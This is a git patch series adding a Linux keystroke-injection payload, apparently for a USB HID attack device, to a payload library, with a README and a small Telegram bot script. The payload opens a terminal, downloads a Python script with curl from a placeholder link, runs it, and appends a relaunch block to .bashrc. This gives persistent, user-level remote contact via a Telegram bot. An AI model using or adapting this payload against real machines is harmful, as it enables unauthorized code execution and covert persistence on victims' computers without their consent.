From 6caee715f3f3c55b451cb60fc0fcf2bd871d01f4 Mon Sep 17 00:00:00 2001 From: Aleff Date: Thu, 3 Aug 2023 10:29:13 +0200 Subject: [PATCH 1/3] Telegram Persistent Connection Linux --- .../payload.txt | 27 +++++++++++++++++++ 1 file changed, 27 insertions(+) create mode 100644 payloads/library/execution/Telegram_Persistent_Connection_Linux/payload.txt diff --git a/payloads/library/execution/Telegram_Persistent_Connection_Linux/payload.txt b/payloads/library/execution/Telegram_Persistent_Connection_Linux/payload.txt new file mode 100644 index 000000000..e11d57e9f --- /dev/null +++ b/payloads/library/execution/Telegram_Persistent_Connection_Linux/payload.txt @@ -0,0 +1,27 @@ +* REM ####################################################### +* REM # | +* REM # Title : Telegram Persistent Connection Linux | +* REM # Author : Aleff | +* REM # Version : 1.0 | +* REM # Category : Execution | +* REM # Target : Linux | +* REM # | +* REM ####################################################### + +* REM Requirements: +* REM - Internet Connection + +QUACK DELAY 1000 +QUACK CTRL-ALT t +QUACK DELAY 2000 + +* REM Here you must put your own file link. Replace #PYTHON-SCRIPT-LINK with somethign like this https://www.example.com/connection.py +QUACK STRING curl -o connection.py #PYTHON-SCRIPT-LINK; python3 connection.py; echo "if ! pgrep -f connection.py >/dev/null; then +QUACK ENTER + +QUACK STRING python3 connection.py & +QUACK ENTER + +QUACK STRING fi" >> .bashrc; exit +QUACK ENTER + From 1c174be675e161b8d102a5632f7059670548850f Mon Sep 17 00:00:00 2001 From: aleff-github Date: Thu, 3 Aug 2023 10:29:51 +0200 Subject: [PATCH 2/3] README --- .../README.md | 54 +++++++++++++++++++ .../connection.py | 11 ++++ 2 files changed, 65 insertions(+) create mode 100644 payloads/library/execution/Telegram_Persistent_Connection_Linux/README.md create mode 100644 payloads/library/execution/Telegram_Persistent_Connection_Linux/connection.py diff --git a/payloads/library/execution/Telegram_Persistent_Connection_Linux/README.md b/payloads/library/execution/Telegram_Persistent_Connection_Linux/README.md new file mode 100644 index 000000000..e6152bd29 --- /dev/null +++ b/payloads/library/execution/Telegram_Persistent_Connection_Linux/README.md @@ -0,0 +1,54 @@ +# Telegram Persistent Connection + +A script used to configure a persistent connection on a Linux computer trough a pre-configured Telegram Bot. + +**Category**: Execution + +## Description + +A script used to configure a persistent connesction on a Linux computer trough a pre-configured Telegram Bot. + +Opens a shell, download the python script trough the `curl` command outputing the file into a `connection.py` file using `-o` option, then run it and set the run of the program as a default command every times a shell is runned. + +This payload is intended as a basic reference point for developing payloads on a persistent connection Telegram based. + +## Getting Started + +### Dependencies + +* Internet Connection + +### Settings + +- **Telegram Bot**: You should configure a bot trough Telegram. If you don't know how to do this, follow the guide about [Telegram Bot guide](#telegram-bot-guide). When you have create your personal Telegram Bot you should get the Telegram bot ID that you must put into the variable BOT_TOKEN at line 4 in the Python file as you can read in the line 3 comment. +- **Python Script**: Download, edit as you want and upload the python script somewhere you want and put the file link into the file payload.txt replacing the example link. +- **Persistence**: I preferred to create a mechanism that would allow you to create *some* persistence, not quite total, but you can have a high level of persistence. In this specific case, no permissions are needed, because it is sufficient to insert some lines in the .bashrc file that allow to keep the connection to Telegram open from the first time the user opens the terminal. Most of other mechanism needs the sudo permissions. + +### Telegram Bot Guide + +1. Search for `@botfather` in Telegram. +2. Start a conversation with BotFather by clicking on the Start button. +3. Type /newbot, and follow the prompts to set up a new bot. +4. Select and copy the Bot Token that you can see after the registration and past it into the `BOT_TOKEN` python variable that you find in the `connection.py` file at line 3. + +## Credits + +

Aleff :octocat:

+
+ + + + + +
+ + + +
Github + 		+ + + +
Linkedin +
+
diff --git a/payloads/library/execution/Telegram_Persistent_Connection_Linux/connection.py b/payloads/library/execution/Telegram_Persistent_Connection_Linux/connection.py new file mode 100644 index 000000000..0c46dab2f --- /dev/null +++ b/payloads/library/execution/Telegram_Persistent_Connection_Linux/connection.py @@ -0,0 +1,11 @@ +from telebot import TeleBot + +# Set here the Telegram bot token +BOT_TOKEN = "" +bot = TeleBot(BOT_TOKEN) + +@bot.message_handler(commands=['start']) +def send_welcome(message): + bot.reply_to(message, "Ok it works") + +bot.infinity_polling() From a11ba126fc77370a26bda2986d2a923c4b982b72 Mon Sep 17 00:00:00 2001 From: Aleff Date: Thu, 6 Jun 2024 17:00:42 +0200 Subject: [PATCH 3/3] Adapted to the use of variables [+] Vars [+] Atackmode --- .../Telegram_Persistent_Connection_Linux/README.md | 2 +- .../payload.txt | 14 ++++++++------ 2 files changed, 9 insertions(+), 7 deletions(-) diff --git a/payloads/library/execution/Telegram_Persistent_Connection_Linux/README.md b/payloads/library/execution/Telegram_Persistent_Connection_Linux/README.md index e6152bd29..a78a14878 100644 --- a/payloads/library/execution/Telegram_Persistent_Connection_Linux/README.md +++ b/payloads/library/execution/Telegram_Persistent_Connection_Linux/README.md @@ -33,7 +33,7 @@ This payload is intended as a basic reference point for developing payloads on a ## Credits -

Aleff :octocat:

+

Aleff

diff --git a/payloads/library/execution/Telegram_Persistent_Connection_Linux/payload.txt b/payloads/library/execution/Telegram_Persistent_Connection_Linux/payload.txt index e11d57e9f..66b300aa9 100644 --- a/payloads/library/execution/Telegram_Persistent_Connection_Linux/payload.txt +++ b/payloads/library/execution/Telegram_Persistent_Connection_Linux/payload.txt @@ -8,20 +8,22 @@ * REM # | * REM ####################################################### +ATTACKMODE HID + * REM Requirements: * REM - Internet Connection +QUACK REM VARIABLES +* REM Here you must put your own file link. +PYTHON-SCRIPT-LINK='https://www.example.com/connection.py' + QUACK DELAY 1000 QUACK CTRL-ALT t QUACK DELAY 2000 - -* REM Here you must put your own file link. Replace #PYTHON-SCRIPT-LINK with somethign like this https://www.example.com/connection.py -QUACK STRING curl -o connection.py #PYTHON-SCRIPT-LINK; python3 connection.py; echo "if ! pgrep -f connection.py >/dev/null; then +QUACK STRING curl -o connection.py $PYTHON-SCRIPT-LINK; python3 connection.py; echo \"if ! pgrep -f connection.py >/dev/null; then QUACK ENTER - QUACK STRING python3 connection.py & QUACK ENTER - -QUACK STRING fi" >> .bashrc; exit +QUACK STRING fi\" >> .bashrc; exit QUACK ENTER